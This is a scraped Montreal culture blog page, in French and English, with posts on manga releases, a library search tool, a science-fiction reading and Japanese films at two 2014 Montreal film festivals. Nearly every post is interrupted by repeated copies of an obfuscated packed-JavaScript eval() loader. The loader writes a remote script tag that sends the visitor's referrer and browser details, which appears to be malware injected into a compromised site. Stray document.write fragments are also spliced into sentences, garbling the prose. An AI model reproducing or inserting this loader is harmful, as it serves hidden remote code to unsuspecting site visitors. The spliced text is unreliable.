eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntfty|var|u0026u|referrer|ehhkt||js|php’.split(‘|’),0,{}))

C’est un moteur de recherche qui se veut simple, moderne, efficace et convivial, donc plus facile a utiliser pour les usagers. En plus d”offrir la même fonctionnalité que Nelligan (comme l’accès à “Votre dossier”, renouvellement, réservation), Découverte offre une présentation plus claire ainsi que la possibilité de raffiner la recherche selon le type de document (imprimé ou numérique), la disponibilité, la localisation, la date de publication, la langue d’origine ou le groupe d’âges. Il est aussi plus “intelligent” puisqu’en plus de suggérer des orthographes différents pour les termes de recherche, il fournit également des suggestions de lecture, de pistes de recherche, de nouveautés et de titres populaires. [Voir le “
communiqué de presse“]

Si la présentation des notices de recherches est effectivement plus claire et informative, il est juste dommage que la page d’introduction de l’engin de recherche manque d’éléments graphiques pour la rendre plus attrayante. Mais cet outil de recherche est encore dans sa phase de rodage alors je suis sûr qu’on y verra de nombreuses améliorations dans les prochains mois.

N’hésitez pas à le mettre à l’essai:

[ Translate ]

Découverte: Le maître des livres

“À la bibliothèque pour enfant “La rose trémière” vous êtes accueillis et conseillés par Mikoshiba, document.write(“”); un bibliothécaire binoclard célèbre pour son caractère bien trempé. Mais contrairement à ce qu’il peut laisser paraître, c’est un professionnel de premier ordre. Aujourd’hui encore, adultes comme enfants perdus dans leur vie viennent ç lui en espérant qu’il leur trouvera le livre salvateur.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhaer|var|u0026u|referrer|efssd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zibib|var|u0026u|referrer|efdeh||js|php’.split(‘|’),0,{}))

“Une histoire passionnante centrée sur la littérature et Mikoshiba, le “sommelier du livre pour enfant”.”

(Texte de la couverture arrière)

Encore une fois, j’ai découvert ce nouveau titre en jetant un coup d’oeil aux nouveautés de Manga-Thé sur Facebook. Le sujet m’a tout de suite paru intéressant…

Le maître des livres (????? / Toshokan no Aruji / lit. “Le seigneur de la bibliothèque”) est un manga seinen par Umiharu Shinohara qui est couramment prépublié en feuilletons dans la magazine Weekly Manga Times de l’éditeur japonais H?bunsha. Compilé en volumes (tank?bon) depuis août 2011, il y a huit tomes de parus au Japon jusqu’à maintenant et un neuvième devrait paraître à la mi-novembre 2014. Publié en français par Komikku Éditions, le deux premiers volumes sont paru simultanément en août 2014 et un troisième paraîtra en début décembre.

Le maître des livres Vol. 1 & 2, écrit et illustré par Umiharu Shinohara. Paris, Komikku Éditions, août 2014. 192 pages, 13×18 cm, 8,50 € / $14.95 Cnd, ISBN 9791091610629 (vol. 1) et 9791091610636 (vol. 2). Lectorat de 14 ans et plus. À lire absolument! En attendant vous pouvez consultez un extrait d’une quarantaine de pages.

Extraits des pages 2-3 et 8:

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ Translate ]

All you need is kill

VIZ Media announced the release of All You Need is Kill, document.write(“”); the latest manga by Takeshi Obata (Hikaru no go, Death Note, Bakuman), on November 4th, 2014. This oversized omnibus edition is rated ‘T+’ for Older Teens and will be available under the Shonen Jump Advanced imprint with a print MSRP of $14.99 U.S. / $16.99 CAN. [Read the full press releases]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfnsn|var|u0026u|referrer|thasy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tsriy|var|u0026u|referrer|hhzra||js|php’.split(‘|’),0,{}))

All You Need is Kill originally premiered in VIZ Media’s Weekly Shonen Jump digital manga anthology earlier this year. It was first available in
digital editions as a pair of individual volumes across all platforms (vizmanga,com, Kindle, iBooks, GooglePlay, Kobo, ComiXology, Nook and the VIZ Manga App) for $6.99 each.

The manga is the adaptation of the award-winning Japanese sci-fi novel written by Hiroshi Sakurazaka that inspired the live-action summer blockbuster film Edge of Tomorrow starring Tom Cruise, Emily Blunt and Bill Paxton. The original novel also was the launch title in 2009 for Haikasoru, VIZ Media’s unique literary imprint dedicated to publishing the most compelling contemporary Japanese science fiction and fantasy for English-speaking audiences. VIZ Media also published a special movie tie-in version of the All You Need is Kill/Edge of Tomorrow novel over the summer to support the release of the live-action film.

In this rousing action story, when the alien Mimics invade, Keiji Kiriya is just one of many recruits shoved into a suit of battle armor called a Jacket and sent out to kill. Keiji dies on the battlefield, only to be reborn each morning to fight and die again and again. On his 158th iteration, he gets a message from a mysterious ally – the female soldier known as the Full Metal Bitch. Is she the key to Keiji’s escape or his final death?

[ Traduire ]

Festival du Nouveau Cinema 2014

The Festival du nouveau cinéma (FNC) is pleased to announce that The Good Lie (U.S.), document.write(“”); directed by Philippe Falardeau, will kick off its 43rd edition, to be held in Montreal from October 8 to 19. The film will be preceded by Matthew Rankin’s short Mynarski Death Plummet (Quebec/Canada). The documentary feature The Salt of the Earth (Brazil/Italy/France), co-directed by Wim Wenders and Juliano Ribeiro Salgado, will close the Festival on October 18. [Read the full press release]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isnes|var|u0026u|referrer|sskfi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iaaat|var|u0026u|referrer|rktzt||js|php’.split(‘|’),0,{}))

Tokyo Tribe by Japanese director Sion Sono will open the Temps Zéro section, this year celebrating its 10th anniversary. The rap-infused musical is set in a futuristic Tokyo where the gangs that run the city are forced to team up to battle a nasty, nefarious ogre of a mob boss named Big Buppa (Rikki Takeuchi).

In total the festival will offer half a dozen Japanese movies including the latest Shinya Tsukamoto, Takashi Miike, Isao Takahata, and Sion Sono!! Those are all Japanese blockbusters that have been previously screened at other film festivals. I am not planning to attend the festival (because of the lack of time, the unfriendliness of the festival toward small online media but mostly because I must rest after my recent health problems). However, I’ll post here all the information I can get for those who will want to attend:

  • Fire on the plain (?? / Nobi): Japan, 2014, 87 min; Dir./Phot./Prod.: Shinya Tsukamoto; Scr.: Shohei Ooka, Shinya Tsukamoto; Cast: Shinya Tsukamoto, Lily Franky, Tatsuya Nakamura.

    “The philippines, during the second World War, on the Japanese side. An enlisted man is trying to survive. He has tuberculosis, his intense fever is causing gangrene, he’s hungry. so very, very hungry. He is alive, but already dead. And all around him are horrors, each more terrible than the last.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Sat 10/11 21:30 at Auditorium Alumni H110 (Concordia); Sun 10/12 13:15 at Cinéma du Parc 3.

  • Over your dead body (?? ??? / Kuime): Japan, 2014, 93 min; Dir.: Takashi Miike; Scr.: Kikumi Yamagishi (based on a kabuki play by Tsuruya Nanboku IV); Phot.: Nobuyasu Kita; Ed.: Kenji Yamashita; Mus.: Kôji Endô; Cast: Ko Shibasaki, Hitomi Katayama, Ebizô Ichikawa XI, Hideaki Itô.

    “Miyuki and her boyfriend Kosuke land the lead roles in a highly anticipated theatre production. Miyuki will play a woman betrayed who seeks revenge from the beyond. Kosuke will play her lover, a devious psychopath. After rehearsals begin, the production is beset by episodes of madness and violence. is life suddenly imitating art?” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Mon 10/13 21:15 at Cinéma du Parc 1; Sat 10/18 21:45 at Cineplex Odeon Quartier Latin A.

  • Still in the water (2???? / Futatsume no Mado / Lit. “The Second Window”): Japan, 2014, 119 min; Dir./Scr.: Naomi Kawase; Phot.: Yutaka Yamazaki; Ed.: Tina Baz, Naomi Kawase; Mus.: Hashiken; Cast: Nijiro Murakami, Jun Yoshinaga, Tetta Sugimoto, Miyuki Matsuda, Makiko Watanabe, Jun Murakami, Hideo Sakaki, Fujio Tokita.

    “The people of the Amami archipelago in southwestern Japan live in harmony with nature, seeing the divine in the tiniest leaf or smallest twig and celebrating it through traditional song and dance. In this idyllic setting, Kaito, a boy of 14, comes across a man’s body floating in the sea one night. Together with his friend Kyoko (who has a crush on him), he sets out to solve the mystery. But during the course of the investigation and the personal challenges it presents, the two teens discover much more than they had imagined.” (from the Festival’s website)

    Screening as a special presentation: Sun 10/12 15:20 at Auditorium Alumni H110 (Concordia); Sun 10/19 16:30 at Cinéma du Parc 1.

  • The Tale of Princess Kaguya (??????? / Kaguya-Hime no Monogatari): Japan, 2013, 137 min; Dir.: Isao Takahata; Scr.: Isao Takahata, Riko Sakaguchi; animation by Studio Ghibli (Char. Design: Kenichi Konishi; Art Dir.: Kazuo Oga; Anim. Dir.: Kenichi Konishi); Mus.: Joe Hisaishi; Original Voice Cast: Aki Asakura, Kengo Kora, Takeo Chii, Nobuko Miyamoto, Atsuko Takahata, Tomoko Tabata, Tatekawa Shinosuke, Takaya Kamikawa, Hikaru Ij?in, Ryudo Uzaki, Nakamura Shichinosuke II, Isao Hashizume, Yukiji Asaoka, Tatsuya Nakadai.

    “Born inside a bamboo stalk, tiny Kaguya (“radiant princess”) is discovered by an old bamboo cutter, who brings her home. Kaguya grows into a lovely young woman whose beauty is renowned throughout the land. Five noble- men compete fiercely for her hand in marriage, attempting impossible tasks to impress her. But this magical woman’s destiny lies above such mundane concerns.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Mon 10/13 14:00; Fri 10/17 18:30 at Cineplex Odeon Quartier Latin A .

  • Tokyo Tribe (????? ???? / T?ky? Toraibu): Japan, 2014, 116 min; Dir.: Sion Sono; Scr.: Sion Sono (based on the manga by Santa Inoue); Phot.: Daisuke Sôma; Ed.: Jun’ichi Itô; Mus.: B.C.D.M.G.; Cast: Ryohei Suzuki, Young Dais, Nana Seino, Ryuta Sato, Shoko Nakagawa, Mika Kano, Yosuke Kubozuka, Riki Takeuchi, Takuya Ishida, Shunsuke Daito, Yui Ichikawa, Denden, Shota Sometani, Mao Mita.

    “A future Tokyo where gangs reign supreme. A nasty mobster who happens to be an ogre (yes, the kind that eats people) by the name of Big Buppa (Rikki Takeuchi in an instant-classic and thoroughly grotesque performance) wants to take on all the gangs. A young woman on the run finds a solution to the crisis, uniting all of Tokyo against the monster. Gang wars, fratricidal yakuza battles, criminal madness, revenge Tokyo-style. Yes, Tokyo Tribe has all that, but you might be surprised to learn it’s also a musical–all rap, all the time, from the first frame to the last. ” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Thu 10/09 19:00 at Auditorium Alumni H110 (Concordia); Fri 10/10 16:30 at Cineplex Odeon Quartier Latin B.

  • The world of Kanako (?? / Kawaki): Japan, 2014, 118 min; Dir.: Tetsuya Nakashima; Scr.: Tetsuya Nakashima (based on the novel by Akio Fukamachi); Phot.: Shoichi Ato; Ed.: Yoshiyuki Koike; Cast: K?ji Yakusho, Nana Komatsu, Satoshi Tsumabuki, Joe Odagiri, Fumi Nikaid?, Hiroya Shimizu, Hiroki Nakajima, Ai Hashimoto, Asuka Kurosawa, Miki Nakatani, Jin Hoshino, Mahiro Takasugi, Jun Kunimura, Munetaka Aoki, Aoi Morikawa, Yasuo Koh, Megumi Hachitaya, Shouno Hayama.

    “Akikazu, a bitter, hard-drinking cop who was kicked off the police force, is contacted by his ex-wife when their straight-A daughter, Kanako, goes missing. The man embarks on a brutal investigation that goes deep into the heart of a clandestine underworld ruled by violence and murder. As the body count rises, the veil comes off Kanako’s secret life, revealing the horrifying truth.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Wed 10/15 21:15 at Auditorium Alumni H110 (Concordia); Sat 10/18 15:00 at Cineplex Odeon Quartier Latin A.

[ Traduire ]

Écrire le monde : la science fiction

L’Union des écrivaines et des écrivains québécois, document.write(“”); en collaboration avec Bibliothèque et Archives nationales du Québec (BAnQ) présente :
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yieyt|var|u0026u|referrer|sinfs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sanfa|var|u0026u|referrer|hkrza||js|php’.split(‘|’),0,{}))

Lecture publique

Écrire le monde / Territoire de l’ailleurs : la science-fiction

Le 2 octobre 2014, de 19 h 00 à 20 h 15

À l’Auditorium de la Grande Bibliothèque

Lecture d’extraits du roman Les jours de l’ombre de Francine Pelletier, auteure de la trilogie Le sable et l’acier, en sa présence.

Mise en lecture : Rita Lafontaine
Interprète : Jessica Lamy
Musicien : Frédéric Maher

La lecture sera suivie d’une période de questions avec l’écrivaine et les artistes.

Continuez après le saut de page >>

Sha’Ema, une jeune pelissière de Namelak, fuit son village. Sous son sein gauche, un oeil est en train de se former. Or, si les prêtres l’apprennent, ils la mutileront, l’exileront dans les montagnes, et sa famille sera soupçonnée d’impureté.

De fait, sur Og’umbi, il est dit que les métamorphoses proviennent des unions contre nature qui ont eu lieu entre humains et Akae, ces « êtres-en-changement » qui, jadis, ont envahi la planète. Et si ces monstres ont depuis disparu, le mal, lui, demeure omniprésent. D’ailleurs, dans sa fuite, Sha’Ema rencontre Nosh, l’homme au corps de bête, puis Herbé, qu’une métamorphose a rendu mi-humain, mi-autre chose…

C’est en cherchant à en savoir davantage sur ces métamorphoses, dans la grande ville de Vassilor, que Sha’Ema entendra parler pour la première fois des théories révisionnistes du professeur Valère, et c’est ensemble qu’ils s’enfonceront au coeur des montagnes de l’Ueg, à la recherche d’une vérité qu’ils ne peuvent encore soupçonner!

La participation à cette activité est gratuite. Cependant, pour vous assurer d’avoir une place, vous êtes invité à vous procurer un billet. Cette activité ayant lieu dans un auditorium, des frais de billetterie de 4 $ par billet (taxes incluses) s’appliquent. Les personnes se présentant sans billet à une activité ne seront admises dans la salle que s’il reste de la place.

Pour de plus ample information, voir les sites de l’UNEQ et de la BANQ.

(Crédit photo: Romain Guy)

[ Translate ]

Découverte: un nouvel album de Bilal

Après Animal’z et Julia et Roem, document.write(“”); voici enfin le troisième volet de la trilogie événément signée Enki Bilal.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drrbk|var|u0026u|referrer|natnz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ykrsf|var|u0026u|referrer|zhetb||js|php’.split(‘|’),0,{}))

“Dans un ciel sens dessus dessous ponctué d’immenses masses nuageuses aux allures menaçantes progresse le Zeppelin sinistré Garbage et son équipage incongru : un couple de passagers de hasard embarqués à Tanger, Anders Mikkeli et Esther Roblès, deux jumelles orphelines sujettes à de mystérieuses crises de citations littéraires, leur garde du corps et le cadavre démembré du pilote de l’appareil, suspendu à ce qui reste de sa nacelle détruite. Dans les soutes, un mélange de déchets nucléaires instables et d’armes atomiques en état de marche, indice probable des visées terroristes du Garbage. Balloté au gré de la violence des vents, ses équipements verrouillés sur navigateur automatique, l’aérostat semble totalement livré à lui-même, et pourtant… Pourtant quelque chose suggère qu’il y a peut-être là un dessein, une volonté, une direction. Car au même moment, nombre des personnages croisés au fil des deux précédents volumes de la trilogie – Ana et Lester, Bacon et son dauphin hybride, Julia, Roem et Lawrence, l’ex-aumonier militaire – se sont eux aussi mis en mouvement, comme mûs par un appel secret. Leur périple annonce-t-il le stade terminal du « coup de sang » planétaire ? S’agit-il des prémisses de la troisième guerre mondiale annoncée, qui mettra ainsi un point final à la crise environnementale généralisée ? Ou d’autre chose encore, divergeant de tout ce qu’on pouvait imaginer ?”

“Toujours magistral, tant dans la puissance et l’originalité de son récit que dans son traitement graphique et chromatique exceptionnel, Enki Bilal apporte un point final à la trilogie amorcée dans Animal’z et poursuivie dans Julia et Roem. L’un des titres les plus attendus de la fin d’année.” (Texte du site de l’éditeur)

Pas grand chose à ajouter sur ce nouveau Bilal sinon que j’ai bien hâte de le lire (la date de parution en France est le 2014/10/22, mais il est difficile de dire quand il sera disponible au Québec). Décidément, Bilal va de trilogie en trilogie nous présentant toujours le même futur glauque mais jamais ennuyant.

La Couleur de l’air, par Enki Bilal. Paris: Casterman, octobre 2014. 96 pgs, 24 x 32.1 x 1.5 cm, 18.00 €, ISBN: 978-2-203-03309-2.

[ Translate ]

The MWFF schedule is available

The schedule for the 2014 Montreal World Film Festival is now available on the festival web site [as a downloadable PDF file]!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkbir|var|u0026u|referrer|izdha||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|inizh|var|u0026u|referrer|ysbfd||js|php’.split(‘|’),0,{}))

The Cinema Under the Stars program will take place after all.
In a press release, document.write(“”); the festival announced that the free outdoor screenings will be back again this year for twelve nights. Beginning August 21 and running nightly at 8:30 pm through Labour Day (September 1), the Festival will show a wide selection of popular movies on the esplanade of the Place des Arts.

The festival also announced that it will be showing many italian movies again this year. As always the Montreal World Film Festival has a bumper crop of Italian films to show, this year more than ever. Starting with the president of the jury, Sergio Castellitto, and continuing through various sections of the Festival, lovers of Italian cinema will have plenty to celebrate. Thirteen films, produced or co-produced by Italy, are on show and Pupi Avati will be on hand for the premiere of his new film along with a large delegation of Italian film people. More details in the full press release.

Last Tuesday, the festival announced in a press release the details of the 45th Student Film Festival. Organized within the framework of the Montreal World Film Festival, the Student Film Festival, held August 23 to 27, 2014, has this year two competitive sections, comprising 26 Canadian films and 60 international films respectively. The winning films will share 6 prizes, including the Norman McLaren Prize for best Canadian film and the jury award Most Promising Director. Founded by Serge Losique in 1969, the Student Film Festival is the oldest film festival in Canada and was incorporated into the World Film Festival in 1985. The reputation of the Montreal festival has attracted many student films from around the world and this year, to accommodate the abundance of excellent foreign productions, an international competition was established and it features films from 18 countries!

Finally, a press release also detailed all the ticket options for the movie-goers attending the festival. Booklets of tickets and individual tickets to films of the Festival itself will go on sale August 16 to 21, from noon to 7 pm, at the box offices of the Imperial Cinema and the Cinéma du Quartier Latin. Festivalgoers may also purchase tickets online through Admission beginning August 22. The Festival run August 21 through September 1.

[ Traduire ]

Japanese movies at the MWFF 2014

In a press conference last tuesday, document.write(“”); the Montreal World Film Festival announced the programming of its 38th edition, which will be held from August 21st to September 1st. The festival will present 350 films including 160 feature-length movies (of which 100 will be world or international premieres, and 32 North American premieres), and 190 short films. 51 of those fiction features-length movies will be first features (the first film of its director), of which 19 will be in competition. It is less than the previous years but this rich selection from 74 countries is nevertheless quite a feat considering that the festival has been denied nearly one million dollars in subsidies this year! (On this subject, see my post [in french] “Le FFM se prépare à une 38e année difficile”). For more programming details, please read my post “Programmation FFM 2014” [in french] or check the full press release on the festival web site.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsdhk|var|u0026u|referrer|ybzyn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adbik|var|u0026u|referrer|sbbhn||js|php’.split(‘|’),0,{}))

The World Film Festival of Montreal will take place from August 21st to September 1st 2014, at the Imperial (1430 Bleury – Metro Place des Arts) and Quartier Latin (350 rue Emery – Berri-UQAM) theatres. Tickets will be available from August 16 at noon at the offices of the Imperial (CI) and the Latin Quarter (QL) theatres, and ticketing networks from August 22. Individual tickets are $ 10, Passports are $ 100 and Cinephile Card is $ 250. Booklets of 10 coupons redeemable against individual tickets are available for $ 70. More details on the festival website:
www.ffm-montreal.org.

This year the festival is offering us eleven twelve Japanese features movies and three five short films: two feature films [and one short film] in the “World competition” category, three in “Out of competition”, five feature films and three four shorts in the “Focus on World Cinema” [all those short films are conveniently shown together] and one two feature films in the “Tribute to Michael J. Werner” [there’s another movie shown as a tribute to Alain Resnais]. There are no Japanese movies this year in “First Films World Competition”, “Documentary” or the “International selection of the Student Film Festival” categories.

At the press conference announcing the festival’s programming, Serge Losique reiterated his love for Japanese cinema. He tells us that Japan is one of the most film-loving countries in the world and has given us lots of great filmmakers (especially Akira Kurosawa). He tells us also that a Japanese film in competition this year will be accompanied by a host of top Japanese actors. The delegation for this film will include forty-five people, in addition to numerous representatives of Japanese media (from five television stations and eight newspapers)! [You can see the clip of Losique talking Japanese cinema from 1:05 to 2:00 mins on the press conference video that I posted on Vimeo and on my “Programmation FFM 2014” post [in french]]

More information on the festival’s japanese movies can be found on the Facebook page of the Canada-Japan Cultural Exchange magazine, Coco-Montreal.

Update [2014-08-15]: The schedule for the 2014 Montreal World Film Festival is now available on the festival web site [as a downloadable PDF file]!

Update [2014-08-20]: Details on each of the Japanese movies shown at the festival are now available on the festival’s web site.

After the jump, you will find a list of all the Festival’s Japanese movies with description [taken from the festival’s program] and supplemental links (more details and links will be added as the information become available):


The World Competition

  • Cape Nostalgia (???????? / Fushigina Misaki no Monogatari / The Tale Of A Cape): Japan, 2014, 117 min; Dir.: Izuru Narushima; Scr.: (based on Akio Morisawa novel); Prod.: Sayuri Yoshinaga; Cast: Sayuri Yoshinaga (Etsuko), Hiroshi Abe (Koji), Yuko Takeuchi, Tsurube Shofukutei, Takashi Sasano, Eiko Koike, Shota Shunputei, Arata, Takeo Nakahara, Renji Ishibashi.

    “Etsuko Kashiwagi runs the Cape Café in a peaceful little town looking across the sea to distant Mt Fuji. It is the town’s favourite meeting place, where farmers, fishermen, hospital workers, clergy, and even the occasional police officer, gather to taste Etsuko’s special brew and trade gossip. The two most important things in Etsuko’s life are her jack-of-all-trades nephew Koji and the spring water she brings every day from a small island nearby. In every cup Etsuko brews is a prayer for the well-being of her customers, and coffee at her café is an uplifting experience for all. Koji is 45, and devoted to Etsuko, who lives in a shack beside her café. He is hot-tempered, quick to jump to conclusions and a bit of a troublemaker. The winds of change have started to blow through the placid existence of the Cape Café.” (from the Festival’s press release)

    Schedule: Fri 8/29 9:00 CI; Fri 8/29 19:00 CI; Sat 8/30 14:00 CI.

  • The light shines only there (????????? / Soko nomi nite Hikari Kagayaku): Japan, 2014, 120 min.; Dir.: Mipo O; Scr.: Ryo Takada (based on the novel by Yasushi Sato); Cast: Gou Ayano, Chizuru Ikewaki, Masaki Suda, Hiroko Isayama, Taijiro Tamura, Kazuya Takahashi, Shohei Hino.

    “ Tatsuo has given up working and is idling his life away. One day at a Pachinko parlour, he gets to know a coarse but friendly young man, Takuji. Tatsuo accepts Takuji’s invitation and follows him home, which turns out to be a rundown, isolated house. It is here that Tatsuo meets Takuji’s older sister, Chinatsu. They feel a quick mutual attraction and become close, but Chinatsu’s life is difficult as she struggles to support her family. Even so, Tatsuo remains steadfast in his love for Chinatsu, and his unwavering feelings begin to sway her. Since finding a connection with Chinatsu, Tatsuo’s reality quietly begins to regain its colour…” (from the Festival’s press release)

    Schedule: Sun 8/31 9:00 CI; Sun 8/31 19:00 CI; Mon 9/01 14:00 CI.

The World Competition — Short Films

  • Kemukujara: Japan, 2014, 13 min.; Dir.: Akihito Nonowe, Isao Sano, Konoka Takashiro. No dialogue. First episode of the stop motion experimental animation Keblujara. [Facebook]
    Schedule: Wed 8/27 9:00 CI; Wed 8/27 19:00 CI; Thu 8/28 14:00 CI.

World Great (Out of Competition)

  • Our family (??????? / Bokutachi no Kazoku): Japan, 2014, 117 min.; Dir.: Yuya Ishii; Cast: Satoshi Tsumabuki, Mieko Harada, Sosuke Ikematsu, Kyozo Nagatsuka, Mei Kurokawa, Yusuke Santamaria, Shingo Tsurumi, Yuka Itaya, Mikako Ichikawa.

    The emotional journey of a four-member family that fails to recognize that it is rapidly growing apart until the mother is diagnosed with terminal cancer.

    Schedule: Sun 8/24 11:30 QL15; Mon 8/25 21:30 QL15; Tue 8/26 14:10 QL15.

  • A drop of the grapevine (??????? / Budou no namida / lit. “Tears of Grapes”): Japan, 2014, 117 min.; Dir. & Scr.: Yokiko Mishima; Cast: Yo Oizumi (Ao), Shota Sometani (Roku), Yuko Ando (Erika), Tomorowo Taguchi, Tomoya Maeno, Lily, Kitaro,
    Ren Osugi, Kyoko Enami.

